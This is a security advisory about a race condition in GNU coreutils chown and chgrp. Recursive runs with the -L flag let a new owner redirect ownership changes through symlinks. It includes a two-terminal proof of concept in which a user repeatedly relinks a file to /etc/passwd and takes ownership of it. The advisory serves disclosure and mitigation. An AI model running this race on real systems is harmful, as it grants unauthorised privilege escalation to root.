GNU chown and chgrp (coreutils) privilege escalation via recursive dereferences

Risk: Medium
Local: Yes
Remote: No
CWE: CWE-362

CVSS Base Score: 1.9/10
Impact Subscore: 2.9/10
Exploitability Subscore: 3.4/10
Exploit range: Local
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Product: GNU chown and chgrp (coreutils) Versions-affected: 8.29 and earlier (all) Author: Michael Orlitzky Bug-report: == Summary == The chown program in GNU coreutils is vulnerable to a race condition when using the POSIX "-R -L" options to follow symlinks recursively. In the presence of symlinks, the recursive directory traversal is not guaranteed to be performed depth-first. As a result, the "new owner" may be able to introduce a symlink at a point in the traversal that has yet to be reached. When it is reached, chown will be performed on the target of that symlink -- a situation that is often exploitable to gain root privileges. The chgrp program is implemented with chown and is vulnerable in the same way when used on group-writable paths. == Details == When calling GNU chown recursively, there is an "obvious" race condition that is handled correctly: mjo $ sudo mkdir -p foo/bar mjo $ sudo chown --verbose --recursive mjo foo changed ownership of 'foo/bar' from root to mjo changed ownership of 'foo' from root to mjo If the order was switched (that is, if the traversal was not depth-first), then there would be a period of time where mjo (as the owner of "foo") could do bad things to "foo/bar" before chown was called on it. But so far so good: the order above is safe, and chown does not follow symlinks by default with "--recursive" or "-R". The bad news: if, in addition, you pass the POSIX "-L" flag to chown, then the new owner of "foo" can exploit the situation. The main idea is to use a symlink that points up, to reorder the traversal, and then to exploit the aforementioned race condition. If you're lucky, the race can be won with a naive loop in a second shell. The unlucky (or merely impatient) reader might want to add some sleep() calls after the printf() statements in src/chown-core.c. === Terminal 1 (root) === root # mkdir -p /var/www/chown-test && cd /var/www root # mkdir chown-test/foo root # mkdir chown-test/bar root # ln -s ../bar chown-test/foo/quux root # touch chown-test/bar/baz === Terminal 2 (mjo) === mjo $ cd /var/www/chown-test/bar mjo $ while true; do ln -s -f /etc/passwd ./baz; done; === Terminal 1 (root) === root # chown --verbose --recursive -L mjo chown-test changed ownership of 'chown-test/foo/quux/baz' from root to mjo changed ownership of 'chown-test/foo/quux' from root to mjo changed ownership of 'chown-test/foo' from root to mjo changed ownership of 'chown-test/bar/baz' from root to mjo ownership of 'chown-test/bar' retained as mjo changed ownership of 'chown-test' from root to mjo The verbose output shows that happens. The depth-first traversal follows the symlink and changes ownership of "foo/quux" (which points to "bar") before it changes ownership of "bar/baz". Between the two operations, mjo should be able to replace "bar/baz" with a symlink to a path of his choosing. Indeed, the attack has worked, because mjo now owns /etc/passwd: root # ls -l /etc/passwd -rw-r--r-- 1 mjo root 1.5K 2017-12-17 18:34 /etc/passwd Note that the "--dereference" flag implies the same problem. Along with "--recursive", the "--dereference" flag forces you to set either "-H" or "-L", and in that context, choosing "-H" won't prevent the link itself from being dereferenced. The chgrp program is vulnerable in exactly the same way, but to a lesser extent. With chown, the new owner can always replace files in the directories that he now owns; with chgrp, those directories need to be group-writable. But beware that any member of the new group can try to exploit the situation. The same considerations apply when chown is used to change groups instead of (or in addition to) ownership. == Mitigation == The two flags "-R" and "-L" are specified by POSIX, so their behavior can't be changed much. Avoid using chown or chgrp recursively. And if you do, don't also use "-L".

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018,


Back to Top